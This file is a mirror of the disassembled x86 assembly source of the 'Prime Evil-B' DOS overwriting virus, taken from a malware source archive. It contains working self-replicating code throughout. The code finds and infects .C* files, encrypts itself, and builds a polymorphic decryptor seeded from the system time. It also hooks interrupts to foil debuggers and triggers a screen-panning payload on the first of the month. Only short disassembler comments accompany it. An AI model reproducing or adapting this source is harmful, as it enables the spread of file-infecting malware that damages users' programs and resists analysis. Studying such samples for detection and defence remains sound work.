mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1168 lines
40 KiB
NASM
1168 lines
40 KiB
NASM
comment %
|
|
===============================================================================
|
|
|
|
Prime Evil-B Overwriter "Virus" Source
|
|
Disassembled by Cruel Entity of The Funky Pack of CyberPunks
|
|
Notes:
|
|
Interresting programming style... :)
|
|
|
|
===============================================================================
|
|
%
|
|
|
|
id equ 0DB33h
|
|
dta_filename equ 9Eh
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
prime proc far
|
|
|
|
vstart equ $
|
|
|
|
start:
|
|
xor bx,bx ; Zero register
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
call decrypt+1 ; decrypt
|
|
nop
|
|
nop
|
|
nop
|
|
db 0ebh,46h ;jump to crypt_beg
|
|
|
|
prime endp
|
|
|
|
|
|
decrypt proc near
|
|
data db 00,53h,0bbh ; push bx
|
|
push sp
|
|
|
|
add [bx+si+9090h],dx ; where to decrypt
|
|
nop
|
|
mov cx,70eh ; # of bytes to decrypt
|
|
nop
|
|
nop
|
|
nop
|
|
push cx
|
|
nop
|
|
nop
|
|
nop
|
|
mov al,cs:data
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
decrypt2: nop
|
|
nop
|
|
nop
|
|
xor [bx],al
|
|
nop
|
|
nop
|
|
inc bx
|
|
nop
|
|
nop
|
|
loop decrypt2
|
|
pop cx
|
|
pop bx
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
inc bx
|
|
dec bx
|
|
jz return
|
|
nop
|
|
nop
|
|
nop
|
|
nop
|
|
mov ah,40h
|
|
xchg si,dx
|
|
nop
|
|
nop
|
|
int 21h
|
|
xor bx,bx
|
|
nop
|
|
nop
|
|
nop
|
|
jmp decrypt+1
|
|
return:
|
|
ret
|
|
nop
|
|
db 0e9h,80h,00h ; used to fuck debug
|
|
decrypt endp
|
|
|
|
crypt_beg:
|
|
fmask db '*.C*', 0
|
|
message db 'Prime Evil! '
|
|
db '(C) Spellbound, Line Noise 1992.',0dh,0ah
|
|
db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah
|
|
db 'Please spell my name right!$'
|
|
|
|
|
|
f_size db 0, 0
|
|
f_time dw 0
|
|
f_date dw 0
|
|
data_12 dw 0
|
|
m_seg dw 0 ;memory segment
|
|
|
|
|
|
int_24h_entry proc far ; this replaces int24
|
|
mov bl,3
|
|
iret ; interrupt return
|
|
int_24h_entry endp
|
|
|
|
f_handle dw 0
|
|
int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h
|
|
int_1:
|
|
mov dx,offset int_jmp
|
|
fuck_sr_1:
|
|
mov ax,0fe05h ; hook int 1 and int 3
|
|
jmp fuck_sr_1+1 ; (which fucks debug)
|
|
add ax,0ebfeh
|
|
sub ah,0b1h
|
|
int 21h
|
|
add al,02h
|
|
int 21h
|
|
mov al,0ffh
|
|
out 21h,al
|
|
|
|
mov ah,4ah
|
|
mov bx,00c8h
|
|
int 21h
|
|
mov ah,48h
|
|
mov bx,0096h
|
|
int 21h
|
|
mov cs:m_seg,ax ; allocate memory
|
|
|
|
mov ax,2524h
|
|
mov dx,offset int_24h_entry
|
|
int 21h ; change int24h
|
|
; set intrpt vector al to ds:dx
|
|
|
|
mov ah,2Ah ; get date
|
|
int 21h
|
|
|
|
cmp dl,1 ; is it day 1?
|
|
|
|
jne not_day1 ; no it isn't
|
|
|
|
mov ah,9
|
|
mov dx,offset message ; then display a message
|
|
int 21h ;
|
|
;
|
|
call pan_screen ; and pan the screen
|
|
|
|
|
|
not_day1:
|
|
mov dx,offset fmask
|
|
mov ah,4Eh
|
|
int 21h ; find 1st .COM file
|
|
|
|
jnc found_com ; if no error, move on to
|
|
; found_com
|
|
|
|
xor al,al ; no .COM file found
|
|
out 21h,al ; exit to dos
|
|
retn
|
|
found_com:
|
|
mov ax,4300h
|
|
mov dx,dta_filename
|
|
int 21h ; get file attribute
|
|
|
|
push cx ; save attrib
|
|
mov ax,4301h
|
|
xor cx,cx
|
|
int 21h ; set attrib to normal
|
|
|
|
xor al,al ;
|
|
out 21h,al ; port 21h, 8259-1 int comands
|
|
|
|
mov dx,dta_filename
|
|
mov word ptr cs:f_size,dx ; save file size
|
|
|
|
mov ax,3D02h
|
|
int 21h ; open file
|
|
|
|
jnc opened_ok ; Jump if not error
|
|
jmp find_next ;
|
|
;
|
|
; ^^^ interesting way of solving the error jumping...
|
|
;
|
|
|
|
opened_ok:
|
|
mov cs:f_handle,ax ; save file handle
|
|
|
|
mov ax,5700h ; get file date/time
|
|
mov bx,cs:f_handle
|
|
int 21h
|
|
|
|
jnc get_date_ok ; Jump if no error
|
|
|
|
retn ; error when checking
|
|
; file time/date, exit to DOS
|
|
|
|
get_date_ok:
|
|
mov cs:f_time,cx ; save file time
|
|
mov cs:f_date,dx ; and file date
|
|
|
|
|
|
mov ah,3Fh ; read file to memory
|
|
mov cx,70eh ; <- virus size
|
|
push ds ; save data seg
|
|
mov ds,cs:m_seg ; memory segment
|
|
mov dx,0
|
|
int 21h
|
|
|
|
push ax ; save bytes
|
|
|
|
mov si,0
|
|
lodsw ; String [si] to ax
|
|
xchg ax,si
|
|
pop ax
|
|
pop ds ; restore data seg
|
|
mov word ptr cs:f_size,ax ; save file size
|
|
cmp si,id ; already infected??
|
|
jne readed_ok ; nope...
|
|
jmp already_inf ;
|
|
readed_ok:
|
|
push ds ; save data seg
|
|
mov ds,cs:m_seg ; copy memory seg to ds
|
|
mov es,cs:m_seg ; and es
|
|
xor di,di ;
|
|
xor si,si ;
|
|
mov cx,70eh ; virus size
|
|
|
|
mov ah,0F3h ; decryption value
|
|
|
|
crypt_file:
|
|
lodsb ; load a byte
|
|
xor al,ah ; decrypt it
|
|
stosb ; and save it
|
|
loop crypt_file
|
|
|
|
pop ds ; restore data seg
|
|
|
|
mov ax,4200h ; move file ptr.
|
|
xor cx,cx ; to beginning of file
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov ah,2Ch ; get system time
|
|
int 21h
|
|
|
|
xchg dh,al ; second to al
|
|
xor ah,ah ;
|
|
mul cl ; cl * al = ax
|
|
; (min * sec = ax)
|
|
add al,dl ; add al,minutes
|
|
add ax,70eh ; add ax,virulen
|
|
add al,byte ptr cs:[10Eh]
|
|
mov byte ptr cs:[10Eh],al
|
|
|
|
call crypt ; decrypt the shit
|
|
|
|
push cs ; cs to ds
|
|
pop ds
|
|
|
|
mov si,100h
|
|
mov bx,cs:f_handle
|
|
call decrypt+1
|
|
|
|
mov ax,4202h ; move file ptr to eof
|
|
mov bx,cs:f_handle
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov ah,40h ; write original file
|
|
mov cx,word ptr cs:f_size
|
|
push ds ; save data seg
|
|
mov ds,cs:m_seg
|
|
mov dx,0
|
|
int 21h
|
|
|
|
pop ds ; restore data seg
|
|
|
|
mov ax,5701h ; restore file time/date
|
|
mov cx,cs:f_time
|
|
mov dx,cs:f_date
|
|
int 21h
|
|
|
|
jc exit ; exit if error
|
|
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
pop cx
|
|
mov dx,dta_filename ; restore attrib
|
|
mov ax,4301h
|
|
int 21h
|
|
|
|
jmp short exit
|
|
already_inf:
|
|
mov ah,3Eh ; close file
|
|
int 21h
|
|
|
|
pop cx ; restore attrib
|
|
mov dx,dta_filename
|
|
mov ax,4301h
|
|
int 21h
|
|
find_next:
|
|
mov ah,4Fh
|
|
int 21h ; find next .COM file
|
|
|
|
jc screw ; jump if error
|
|
jmp found_com ; else, do next .COM file
|
|
|
|
exit:
|
|
retn ; exit to dos
|
|
screw:
|
|
int 1 ; single step
|
|
retn
|
|
|
|
pan_screen proc near ; this routine will scroll
|
|
mov cs:data_12,0 ; the screen and reboot
|
|
loc_15:
|
|
mov bx,cs:data_12 ; lots of messing with the
|
|
mov dx,3D4h ; video ports below...
|
|
mov ah,bh ;
|
|
mov al,0Ch ;
|
|
out dx,ax ; port 3D4h, CGA/EGA reg index
|
|
; al = 0Ch, start address high
|
|
mov ah,bl
|
|
inc al
|
|
out dx,ax ; port 3D4h, CGA/EGA reg index
|
|
; al = 0Dh, start address low
|
|
mov dx,3DAh
|
|
loc_16:
|
|
in al,dx ; port 3DAh, CGA/EGA vid status
|
|
test al,8
|
|
jnz loc_16 ; Jump if not zero
|
|
loc_17:
|
|
in al,dx ; port 3DAh, CGA/EGA vid status
|
|
test al,8
|
|
jz loc_17 ; Jump if zero
|
|
inc cs:data_12
|
|
cmp cs:data_12,50h
|
|
jle loc_15 ; Jump if < or =
|
|
mov cs:data_12,0
|
|
retn
|
|
pan_screen endp
|
|
|
|
|
|
crypt proc near
|
|
push cs ; move cs to ds and es
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
|
|
mov di,113h
|
|
call get_time ; get system time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_22 ; Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_21 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_20 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_19 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_18 ; Jump if below
|
|
|
|
call write_31h_0c7h ; The stuff below this
|
|
call write_31h_0cfh ; is just for mutating
|
|
; some instructions in the
|
|
jmp short loc_23 ; decryptioning routine.
|
|
loc_18: ;
|
|
call write_31h_0ddh
|
|
call write_45h
|
|
call write_4fh
|
|
jmp short loc_23
|
|
loc_19:
|
|
call write_31h_0f7h
|
|
call write_31h_0edh
|
|
jmp short loc_23
|
|
loc_20:
|
|
call write_8dh_3eh_BL_BH
|
|
jmp short loc_23
|
|
loc_21:
|
|
call write_83h_0c7h_DL
|
|
call write_47h
|
|
jmp short loc_23
|
|
loc_22:
|
|
call write_0ebh_0
|
|
call write_31h_0ffh
|
|
loc_23:
|
|
mov di,11Ah
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_28 ; Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_27 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_26 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_25 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_24 ; Jump if below
|
|
|
|
call write_31h_0cfh
|
|
call write_45h
|
|
|
|
jmp short loc_29
|
|
loc_24:
|
|
call write_47h
|
|
call write_47h
|
|
call write_47h
|
|
jmp short loc_29
|
|
loc_25:
|
|
call write_31h_0c7h
|
|
call write_45h
|
|
jmp short loc_29
|
|
loc_26:
|
|
call write_0ebh_0
|
|
call write_45h
|
|
jmp short loc_29
|
|
loc_27:
|
|
call write_47h
|
|
call write_31h_0edh
|
|
jmp short loc_29
|
|
loc_28:
|
|
call write_83h_0c7h_DL
|
|
loc_29:
|
|
mov di,11Eh
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_34 ; Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_33 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_32 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_31 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_30 ; Jump if below
|
|
|
|
call write_31h_0d7h
|
|
call write_45h
|
|
|
|
jmp short loc_35
|
|
loc_30:
|
|
call write_31h_0edh
|
|
call write_45h
|
|
jmp short loc_35
|
|
loc_31:
|
|
call write_83h_0c7h_DL
|
|
jmp short loc_35
|
|
loc_32:
|
|
call write_0bfh_BL_0bfh
|
|
jmp short loc_35
|
|
loc_33:
|
|
call write_31h_0d5h
|
|
call write_4fh
|
|
jmp short loc_35
|
|
loc_34:
|
|
call write_4fh
|
|
call write_4fh
|
|
call write_47h
|
|
loc_35:
|
|
mov di,125h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_40 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_39 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_38 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_37 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_36 ; Jump if below
|
|
|
|
call write_31h_0cfh
|
|
call write_31h_0c7h
|
|
|
|
jmp short loc_41
|
|
loc_36:
|
|
call write_45h
|
|
call write_31h_0ddh
|
|
call write_4fh
|
|
jmp short loc_41
|
|
loc_37:
|
|
call write_31h_0ffh
|
|
call write_31h_0c5h
|
|
jmp short loc_41
|
|
loc_38:
|
|
call write_83h_0c7h_DL
|
|
call write_47h
|
|
jmp short loc_41
|
|
loc_39:
|
|
call write_83h_0c7h_DL
|
|
call write_4fh
|
|
jmp short loc_41
|
|
loc_40:
|
|
call write_31h_0ffh
|
|
call write_0ebh_0
|
|
loc_41:
|
|
mov di,129h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_46 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_45 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_44 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_43 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_42 ; Jump if below
|
|
|
|
call write_45h
|
|
call write_31h_0edh
|
|
|
|
jmp short loc_47
|
|
loc_42:
|
|
call write_9h_0ffh
|
|
call write_4fh
|
|
jmp short loc_47
|
|
loc_43:
|
|
call write_21h_0efh
|
|
call write_45h
|
|
jmp short loc_47
|
|
loc_44:
|
|
call write_29h_0efh
|
|
call write_47h
|
|
jmp short loc_47
|
|
loc_45:
|
|
call write_0bfh_BL_0bfh
|
|
jmp short loc_47
|
|
loc_46:
|
|
call write_83h_0c7h_DL
|
|
loc_47:
|
|
mov di,12Eh
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_52 ; Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_51 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_50 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_49 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_48 ; Jump if below
|
|
|
|
call write_31h_0cfh
|
|
|
|
jmp short loc_53
|
|
loc_48:
|
|
call write_47h
|
|
call write_4fh
|
|
jmp short loc_53
|
|
loc_49:
|
|
call write_31h_0c5h
|
|
jmp short loc_53
|
|
loc_50:
|
|
call write_29h_0f7h
|
|
jmp short loc_53
|
|
loc_51:
|
|
call write_83h_0c7h_DL
|
|
jmp short loc_53
|
|
loc_52:
|
|
call write_0ebh_0
|
|
loc_53:
|
|
mov di,131h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_58 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_57 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_56 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_55 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_54 ; Jump if below
|
|
|
|
call write_29h_0cfh
|
|
|
|
jmp short loc_59
|
|
loc_54:
|
|
call write_47h
|
|
call write_4fh
|
|
jmp short loc_59
|
|
loc_55:
|
|
call write_31h_0f5h
|
|
jmp short loc_59
|
|
loc_56:
|
|
call write_45h
|
|
call write_4fh
|
|
jmp short loc_59
|
|
loc_57:
|
|
call write_9h_0efh
|
|
jmp short loc_59
|
|
loc_58:
|
|
call write_0ebh_0
|
|
call write_47h
|
|
loc_59:
|
|
mov di,137h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_64 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_63 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_62 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_61 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_60 ; Jump if below
|
|
|
|
call write_31h_0c7h
|
|
call write_31h_0dfh
|
|
|
|
jmp short loc_65
|
|
loc_60:
|
|
call write_81h_0efh
|
|
jmp short loc_65
|
|
loc_61:
|
|
call write_9h_0ffh
|
|
call write_21h_0efh
|
|
jmp short loc_65
|
|
loc_62:
|
|
call write_83h_0c7h_DL
|
|
call write_47h
|
|
jmp short loc_65
|
|
loc_63:
|
|
call write_31h_0f7h
|
|
call write_21h_0efh
|
|
jmp short loc_65
|
|
loc_64:
|
|
call write_0ebh_0
|
|
call write_0ebh_0
|
|
loc_65:
|
|
mov di,13Fh
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_70 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_69 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_68 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_67 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_66 ; Jump if below
|
|
|
|
call write_31h_0d7h
|
|
call write_29h_0f7h
|
|
|
|
jmp short loc_71
|
|
loc_66:
|
|
call write_9h_0efh
|
|
call write_47h
|
|
call write_47h
|
|
jmp short loc_71
|
|
loc_67:
|
|
call write_31h_0f7h
|
|
call write_31h_0edh
|
|
jmp short loc_71
|
|
loc_68:
|
|
call write_83h_0c7h_DL
|
|
call write_4fh
|
|
jmp short loc_71
|
|
loc_69:
|
|
call write_31h_0ffh
|
|
call write_31h_0ffh
|
|
jmp short loc_71
|
|
loc_70:
|
|
call write_31h_0f7h
|
|
call write_0ebh_0
|
|
loc_71:
|
|
mov di,147h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_76 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_75 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_74 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_73 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_72 ; Jump if below
|
|
|
|
call write_31h_0c7h
|
|
|
|
jmp short loc_77
|
|
loc_72:
|
|
call write_4fh
|
|
call write_4fh
|
|
jmp short loc_77
|
|
loc_73:
|
|
call write_21h_0efh
|
|
jmp short loc_77
|
|
loc_74:
|
|
call write_9h_0efh
|
|
jmp short loc_77
|
|
loc_75:
|
|
call write_45h
|
|
call write_4dh
|
|
jmp short loc_77
|
|
loc_76:
|
|
call write_0ebh_0
|
|
loc_77:
|
|
mov di,14Dh
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_82 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_81 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_80 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_79 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_78 ; Jump if below
|
|
|
|
call write_31h_0f7h
|
|
call write_47h
|
|
|
|
jmp short loc_83
|
|
loc_78:
|
|
call write_31h_0ddh
|
|
call write_4fh
|
|
jmp short loc_83
|
|
loc_79:
|
|
call write_31h_0f7h
|
|
call write_47h
|
|
jmp short loc_83
|
|
loc_80:
|
|
call write_83h_0c7h_DL
|
|
jmp short loc_83
|
|
loc_81:
|
|
call write_0bfh_BL_0bfh
|
|
jmp short loc_83
|
|
loc_82:
|
|
call write_47h
|
|
call write_0ebh_0
|
|
loc_83:
|
|
mov di,102h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_88 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_87 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_86 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_85 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_84 ; Jump if below
|
|
|
|
call write_31h_0c7h
|
|
call write_31h_0cfh
|
|
|
|
jmp short loc_89
|
|
loc_84:
|
|
call write_31h_0ddh
|
|
call write_45h
|
|
call write_4fh
|
|
jmp short loc_89
|
|
loc_85:
|
|
call write_31h_0f7h
|
|
call write_31h_0edh
|
|
jmp short loc_89
|
|
loc_86:
|
|
call write_8dh_3eh_BL_BH
|
|
jmp short loc_89
|
|
loc_87:
|
|
call write_83h_0c7h_DL
|
|
call write_47h
|
|
jmp short loc_89
|
|
loc_88:
|
|
call write_0ebh_0
|
|
call write_31h_0ffh
|
|
loc_89:
|
|
mov di,109h
|
|
call get_time
|
|
|
|
cmp dh,0Ah ; if seconds = 0ah
|
|
jb loc_94 ;Jump if below
|
|
|
|
cmp dh,14h ; if seconds = 14h
|
|
jb loc_93 ; Jump if below
|
|
|
|
cmp dh,1Eh ; if seconds = 1eh
|
|
jb loc_92 ; Jump if below
|
|
|
|
cmp dh,28h ; if seconds = 28h
|
|
jb loc_91 ; Jump if below
|
|
|
|
cmp dh,32h ; if seconds = 32h
|
|
jb loc_90 ; Jump if below
|
|
|
|
call write_0ebh_0
|
|
call write_47h
|
|
|
|
jmp short loc_ret_95
|
|
loc_90:
|
|
call write_0ebh_0
|
|
call write_4fh
|
|
jmp short loc_ret_95
|
|
loc_91:
|
|
call write_47h
|
|
call write_47h
|
|
call write_45h
|
|
jmp short loc_ret_95
|
|
loc_92:
|
|
call write_83h_0c7h_DL
|
|
jmp short loc_ret_95
|
|
loc_93:
|
|
call write_47h
|
|
call write_31h_0ffh
|
|
jmp short loc_ret_95
|
|
loc_94:
|
|
call write_0ebh_0
|
|
call write_47h
|
|
|
|
loc_ret_95:
|
|
retn
|
|
crypt endp
|
|
|
|
|
|
|
|
get_time proc near
|
|
mov ah,2Ch ; get system time
|
|
int 21h
|
|
|
|
retn
|
|
get_time endp
|
|
|
|
|
|
write_31h_0c5h proc near
|
|
mov al,31h
|
|
stosb ; Store al to es:[di]
|
|
mov al,0C5h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0c5h endp
|
|
|
|
|
|
write_31h_0ddh proc near
|
|
mov al,31h
|
|
stosb ; Store al to es:[di]
|
|
mov al,0DDh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0ddh endp
|
|
|
|
mov al,31h
|
|
stosb ; Store al to es:[di]
|
|
mov al,0CDh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
|
|
|
|
write_31h_0d5h proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0D5h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0d5h endp
|
|
|
|
|
|
|
|
write_31h_0f5h proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0F5h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0f5h endp
|
|
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0FDh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
|
|
|
|
write_31h_0edh proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EDh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0edh endp
|
|
|
|
|
|
write_31h_0c7h proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0C7h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0c7h endp
|
|
|
|
|
|
write_31h_0dfh proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0DFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0dfh endp
|
|
|
|
|
|
write_31h_0cfh proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0CFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0cfh endp
|
|
|
|
|
|
write_31h_0d7h proc near
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0D7h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_31h_0d7h endp
|
|
|
|
mov al,31h ; '1'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
|
|
write_31h_0f7h proc near
|
|
mov al,31h
|
|
stosb ; tore al to es:[di]
|
|
mov al,0F7h
|
|
stosb ; tore al to es:[di]
|
|
retn
|
|
write_31h_0f7h endp
|
|
|
|
|
|
write_31h_0ffh proc near
|
|
mov al,31h
|
|
stosb ; tore al to es:[di]
|
|
mov al,0FFh
|
|
stosb ; tore al to es:[di]
|
|
retn
|
|
write_31h_0ffh endp
|
|
|
|
|
|
|
|
write_45h proc near
|
|
mov al,45h ; 'E'
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_45h endp
|
|
|
|
|
|
write_4dh proc near
|
|
mov al,4Dh ; 'M'
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_4dh endp
|
|
|
|
write_47h proc near
|
|
mov al,47h ; 'G'
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_47h endp
|
|
|
|
|
|
write_4fh proc near
|
|
mov al,4Fh ; 'O'
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_4fh endp
|
|
|
|
|
|
write_0bfh_BL_0bfh proc near
|
|
mov al,0BFh
|
|
stosb ; Store al to es:[di]
|
|
mov al,bl
|
|
stosb ; Store al to es:[di]
|
|
mov al,al
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_0bfh_BL_0bfh endp
|
|
|
|
write_8dh_3eh_BL_BH proc near
|
|
mov al,8Dh
|
|
stosb ; Store al to es:[di]
|
|
mov al,3Eh ; '>'
|
|
stosb ; Store al to es:[di]
|
|
mov al,bl
|
|
stosb ; Store al to es:[di]
|
|
mov al,bh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_8dh_3eh_BL_BH endp
|
|
|
|
write_83h_0c7h_DL proc near
|
|
mov al,83h
|
|
stosb ; Store al to es:[di]
|
|
mov al,0C7h
|
|
stosb ; Store al to es:[di]
|
|
mov al,dl
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_83h_0c7h_DL endp
|
|
|
|
|
|
write_0ebh_0 proc near
|
|
mov al,0EBh
|
|
stosb ; Store al to es:[di]
|
|
mov al,0
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_0ebh_0 endp
|
|
|
|
|
|
write_9h_0ffh proc near
|
|
mov al,9
|
|
stosb ; Store al to es:[di]
|
|
mov al,0FFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_9h_0ffh endp
|
|
|
|
write_9h_0efh proc near
|
|
mov al,9
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_9h_0efh endp
|
|
|
|
|
|
write_21h_0efh proc near
|
|
mov al,21h ; '!'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_21h_0efh endp
|
|
|
|
write_81h_0efh proc near
|
|
mov al,81h
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_81h_0efh endp
|
|
|
|
mov al,29h ; ')'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0C7h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
|
|
write_29h_0cfh proc near
|
|
mov al,29h ; ')'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0CFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_29h_0cfh endp
|
|
|
|
mov al,29h ; ')'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0D7h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
|
|
write_29h_0f7h proc near
|
|
mov al,29h ; ')'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0F7h
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_29h_0f7h endp
|
|
|
|
|
|
write_29h_0efh proc near
|
|
mov al,29h ; ')'
|
|
stosb ; Store al to es:[di]
|
|
mov al,0EFh
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
write_29h_0efh endp
|
|
|
|
vend equ $
|
|
|
|
seg_a ends
|
|
end start
|